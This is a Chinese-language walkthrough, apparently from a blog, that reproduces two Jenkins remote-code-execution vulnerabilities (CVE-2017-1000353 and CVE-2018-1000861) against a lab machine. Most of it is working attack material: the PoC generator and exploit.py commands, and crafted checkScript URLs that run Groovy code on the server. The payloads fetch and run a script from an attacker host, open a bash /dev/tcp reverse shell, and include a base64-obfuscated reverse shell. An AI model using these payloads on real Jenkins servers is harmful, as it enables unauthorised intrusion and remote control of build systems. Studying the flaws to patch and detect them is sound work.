Jenkins 漏洞讲解

jenkins是一个开源的,提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续,自动的构建/测试软件项目,监控外部任务的运行
Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建、测试和部署软件。
Jenkins 支持各种运行方式,可通过系统包、Docker 或者通过一个独立的 Java 程序。

一.CVE-2017-1000353复现
漏洞描述
Jenkins存在未经身份验证的远程代码执行漏洞,经过序列化的Java SignedObject对象传输到基于远程处理的Jenkins CLI,在使用新的对象ObjectInputStream对其进行反序列化操作即可绕过现有的基于黑名单的保护机制。远程攻击者可利用漏洞在受影响的应用程序的上下文中执行任意代码,或造成程序拒绝服务。
影响范围:
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
步骤一、生成序列化字符串
首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这是生成POC的工具。
下载地址:https://github.com/vulhub/CVE-2017-1000353
然后执行下面命令,生成字节码文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。
https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
python3 exploit.py http://192.168.100.104:8080 jenkins_poc.ser

靶机内

反弹shell

执行

收到反弹shell

二.CVE-2018-1000861复现
漏洞描述:
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。
影响版本:
Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1
因为此漏洞是没有回显的,所以选择了curl和直接反弹shell进行测试。
一、自定义发送请求,测试漏洞是否存在:
http://192.168.100.104:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl%20http://ar5q7w.dnslog.cn/%22.execute()}}
二、利用下载文件的方法来反弹shell
bash -i >& /dev/tcp/192.168.100.100/10000 0>&1
curl -o /tmp/1.sh http://192.168.100.100:8000/1.txt
chmod+777+/tmp/1.sh
bash+/tmp/1.sh
使用python3开启一个http服务
python3 -m http.server 8000

1.下载文件
http://192.168.100.104:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://192.168.100.100:8000/1.txt%22.execute()}}
2.给予下载的脚本执行权限:
http://192.168.100.104:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}然后在我们接收shell的机器上监听之前写的端口
3.直接bash执行我们下载的脚本:
http://192.168.100.104:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}收到反弹shell

另一种反弹shell的方式
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}
进行url编码:
bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D
反弹shell:
http://192.168.100.104:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvMTAwMDAgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22.execute()}}
同样收到反弹shell

hahaha
三.扫描工具nuclei
-.-
评论区